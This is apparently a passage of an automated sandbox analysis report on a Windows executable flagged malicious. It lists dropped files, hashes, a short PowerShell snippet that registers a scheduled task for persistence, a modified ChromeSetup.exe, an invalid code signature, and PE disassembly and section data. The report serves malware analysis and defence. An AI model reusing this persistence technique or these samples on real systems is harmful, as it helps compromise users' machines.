SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1aeumgcj.z4i.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1aoi3n5q.45b.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4nu2b3d3.5h4.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_50gdeh2v.jsw.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bpirpbus.hma.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c21tfybo.3u0.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cq0pczsi.bpk.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_enth5aiz.wvn.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fxcyesdp.1on.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_n1aoip0t.iph.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_p3gvw2hm.0jf.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pbut1all.ezg.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vl51mfmk.b5c.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w02iv1tc.uvs.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wckf0ke3.mii.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wp1p22x1.jcj.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zcm43res.dyr.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\updated.ps1

Download File

Process:	C:\Users\user\Desktop\FIWszl1A8l.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	151
Entropy (8bit):	4.741657013789009
Encrypted:	false
SSDEEP:	3:41Ai+PBoAwnLFsI2FIERMJyjqLWAfXIhS/ytIEFMEQVGdAn:4yi+5dwnLFsI2F5KJy0fXnMFFQhn
MD5:	AA0E1012D3B7C24FAD1BE4806756C2CF
SHA1:	FE0D130AF9105D9044FF3D657D1ABEAF0B750516
SHA-256:	FC47E1FA89397C3139D9047DC667531A9153A339F8E29AC713E518D51A995897
SHA-512:	15FAE192951747A0C71059F608700F88548F3E60BB5C708B206BF793A7E3D059A278F2058D4AC86B86781B202037401A29602EE4D6C0CBAAFF532CEF311975F4
Malicious:	false
Preview:	$xmlPath = "XML??".$taskName = "????".$xmlContent = Get-Content -Path $xmlPath \| Out-String.Register-ScheduledTask -Xml $xmlContent -TaskName $taskName

C:\Users\user\AppData\Local\updated.ps1

Download File

Process:	C:\Users\user\AppData\Roaming\FIWszl1A8l.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	151
Entropy (8bit):	4.741657013789009
Encrypted:	false
SSDEEP:	3:41Ai+PBoAwnLFsI2FIERMJyjqLWAfXIhS/ytIEFMEQVGdAn:4yi+5dwnLFsI2F5KJy0fXnMFFQhn
MD5:	AA0E1012D3B7C24FAD1BE4806756C2CF
SHA1:	FE0D130AF9105D9044FF3D657D1ABEAF0B750516
SHA-256:	FC47E1FA89397C3139D9047DC667531A9153A339F8E29AC713E518D51A995897
SHA-512:	15FAE192951747A0C71059F608700F88548F3E60BB5C708B206BF793A7E3D059A278F2058D4AC86B86781B202037401A29602EE4D6C0CBAAFF532CEF311975F4
Malicious:	false
Preview:	$xmlPath = "XML??".$taskName = "????".$xmlContent = Get-Content -Path $xmlPath \| Out-String.Register-ScheduledTask -Xml $xmlContent -TaskName $taskName

C:\Users\user\AppData\Roaming\FIWszl1A8l.exe

Download File

Process:	C:\Users\user\Desktop\FIWszl1A8l.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3213672
Entropy (8bit):	6.451490735803889
Encrypted:	false
SSDEEP:	49152:xWKtLBcXqFpBR6SVb8kq4pgquLMMji4NYxtJpkxhGjIHTbD333UKzl:btLutqgwh4NYxtJpkxhGU333X
MD5:	F1C0A349EF488C9D2FDE3DD7F3C497BD
SHA1:	20EB1D3D000BE4D3C06C88A54EEB57FB01B054D5
SHA-256:	38E825894F85ED654A2BADB58F28B334597D2662952D9A5EC6918BD8C8B7335A
SHA-512:	5BF3959F9C0A62CE75CB7317F28D09D662567F3E8F9B067880AE464B0D6124E05F37CDC453F2029950970A002D853DC6B0797CB3627632EF8365B6A04B52E6A0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 32%
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......c.................L,.........hf,......p,...@...........................1.......1...@......@....................-.......-..9....................0.h-...........................................................-.......-......................text.... ,......",................. ..`.itext...(...@,.....&,............. ..`.data...X....p,......P,.............@....bss.....y....-..........................idata...9....-..:....,.............@....didata.......-.......-.............@....edata........-......-.............@..@.tls....L.....-..........................rdata..]............,-.............@..@.rsrc.................-.............@..@..............1.......0.............@..@........................................................

C:\Users\user\AppData\Roaming\FIWszl1A8l.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\FIWszl1A8l.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\Downloads\ChromeSetup.exe

Download File

Process:	C:\Users\user\Desktop\FIWszl1A8l.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	10384768
Entropy (8bit):	6.780997055675606
Encrypted:	false
SSDEEP:	196608:VpjYZ94Z6AhJ5NtGdDDIauMJZZCgdaTos7s4QA/rmYeus5dvXCKsJdVV3qHDYyYL:VpjwKZF5LGdDDvJZZCgdwbcAheus5xXU
MD5:	8C6E8B9F0955CB1ACD92C7C43A8899ED
SHA1:	42885DBB8DC515E8D706C9E2085245548E44373E
SHA-256:	2CB24656EF0CA18A905190C553C2451D44FC09EF9261976450EFDF8C72E8E582
SHA-512:	154210EC82DB87C5598F699F84DA4C5F7105676D089F54DB599D086850895BCBB69C7DD1EE9372E09AA1C77EDFEBA644CE4EE810CB961294844984355F245F98
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...{*2g.........."......T4...i...................@......................................@.........................<.=.U.....=.@.....@..H^..........,...I...`.......k=.....................Pi=......q4.............@.=.l............................text....S4......T4................. ..`.rdata..`....p4......X4.............@..@.data........ >..R....=.............@....tls....u.....?......N>.............@...CPADinfo(.....?......P>.............@...malloc_h......@......R>............. ..`.rsrc....H^...@..H^..T>.............@..@.reloc.......`......................@..B........................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.451490735803889
TrID:	Win32 Executable (generic) a (10002005/4) 98.88% Inno Setup installer (109748/4) 1.08% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	FIWszl1A8l.exe
File size:	3'213'672 bytes
MD5:	f1c0a349ef488c9d2fde3dd7f3c497bd
SHA1:	20eb1d3d000be4d3c06c88a54eeb57fb01b054d5
SHA256:	38e825894f85ed654a2badb58f28b334597d2662952d9a5ec6918bd8c8b7335a
SHA512:	5bf3959f9c0a62ce75cb7317f28d09d662567f3e8f9b067880ae464b0d6124e05f37cdc453f2029950970a002d853dc6b0797cb3627632ef8365b6a04b52e6a0
SSDEEP:	49152:xWKtLBcXqFpBR6SVb8kq4pgquLMMji4NYxtJpkxhGjIHTbD333UKzl:btLutqgwh4NYxtJpkxhGU333X
TLSH:	99E54A27F28C713ED06B3A324A3386909837F66179168C6797FC794C8F365942A3E647
File Content Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	0c1733515131060c

Static PE Info

General

Entrypoint:	0x6c6668
Entrypoint Section:	.itext
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x63ECF219 [Wed Feb 15 14:54:17 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	1
File Version Major:	6
File Version Minor:	1
Subsystem Version Major:	6
Subsystem Version Minor:	1
Import Hash:	8507116e3d0e7e02e36e7dc5b8aa1af8

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Sectigo Public Code Signing CA R36, O=Sectigo Limited, C=GB
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	06/05/2023 01:00:00 06/05/2026 00:59:59
Subject Chain	CN=Johannes Schindelin, O=Johannes Schindelin, S=Nordrhein-Westfalen, C=DE
Version:	3
Thumbprint MD5:	0BDACC0E75B258864C6FFA046FF1F84A
Thumbprint SHA-1:	3EB14A3AEF84B7153E139397F0A49E2FAC662B0E
Thumbprint SHA-256:	637C86766A7FB03A8AF3B6D18E2F1183594BD60A75AFC1C36BA9AF46CE2A5A36
Serial:	7D467C5AC99420F6A7E2A89ED61472B4

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
push ebx
push esi
push edi
mov eax, 006BABB4h
call 00007F4D78EBE912h
mov eax, dword ptr [006CFF3Ch]
mov eax, dword ptr [eax]
mov eax, dword ptr [eax+00000188h]
push FFFFFFECh
push eax
call 00007F4D78EC2CADh
mov edx, dword ptr [006CFF3Ch]
mov edx, dword ptr [edx]
mov edx, dword ptr [edx+00000188h]
and eax, FFFFFF7Fh
push eax
push FFFFFFECh
push edx
call 00007F4D78EC2C99h
xor eax, eax
push ebp
push 006C66F9h
push dword ptr fs:[eax]
mov dword ptr fs:[eax], esp
push 00000001h
call 00007F4D78EC1FF4h
call 00007F4D7916863Bh
mov eax, dword ptr [006BA7DCh]
push eax
push 006BA874h
mov eax, dword ptr [006CFF3Ch]
mov eax, dword ptr [eax]
call 00007F4D79066460h
mov eax, 006B5454h
mov edx, dword ptr [006CFDB4h]
mov dword ptr [edx], eax
call 00007F4D79168682h
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword ptr fs:[eax], edx
jmp 00007F4D791743FBh
jmp 00007F4D78EB7217h
call 00007F4D791683CAh
mov eax, 00000001h
call 00007F4D78EB7D00h
call 00007F4D78EB765Bh
mov eax, dword ptr [006CFF3Ch]
mov eax, dword ptr [eax]
mov edx, 006C688Ch
call 00007F4D79065F2Ah
push 00000005h
mov eax, dword ptr [006CFF3Ch]
mov eax, dword ptr [eax]
mov eax, dword ptr [eax+00000188h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x2de000	0x97	.edata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2d9000	0x39ba	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2e1000	0x3ad00	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x30dc00	0x2d68	.rsrc
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x2e0000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2d99f0	0x8c4	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x2dd000	0xbde	.didata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2c20c8	0x2c2200	58be6c93982a266a69bb54d7c353b95b	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.itext	0x2c4000	0x2898	0x2a00	14817d9596460398ce8a10ec41885658	False	0.5013950892857143	data	6.097600196485659	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x2c7000	0x9258	0x9400	b6c68a9cc08d787f829bebe13beeebce	False	0.576198268581081	data	6.2228077637398	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0x2d1000	0x790c	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x2d9000	0x39ba	0x3a00	1c7fac207b7708f2d38f3eced48727dc	False	0.3355334051724138	data	5.289106478125697	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.didata	0x2dd000	0xbde	0xc00	022cbd8e7ebbfb3df44dfd43f92fa718	False	0.3512369791666667	data	4.391276161587863	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.edata	0x2de000	0x97	0x200	29372b5d9fa8b5b431a37756aee4c5b7	False	0.25	data	1.8458344781090077	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.tls	0x2df000	0x4c	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x2e0000	0x5d	0x200	0e147eb88402eb8a56f168b457309291	False	0.189453125	data	1.3507743158343073	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x2e1000	0x3ad00	0x3ae00	32a06d163194b2d3bf155f7a452b4065	False	0.46382779325902335	data	6.14802530245256	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x2e2320	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"	English	United States	0.38636363636363635
RT_CURSOR	0x2e2454	0x134	data	English	United States	0.4642857142857143
RT_CURSOR	0x2e2588	0x134	data	English	United States	0.4805194805194805
RT_CURSOR	0x2e26bc	0x134	data	English	United States	0.38311688311688313
RT_CURSOR	0x2e27f0	0x134	data	English	United States	0.36038961038961037
RT_CURSOR	0x2e2924	0x134	data	English	United States	0.4090909090909091
RT_CURSOR	0x2e2a58	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"	English	United States	0.4967532467532468
RT_ICON	0x2e2b8c	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.04227680680207841
RT_ICON	0x2e6db4	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.07157676348547717
RT_ICON	0x2e935c	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.08794559099437148
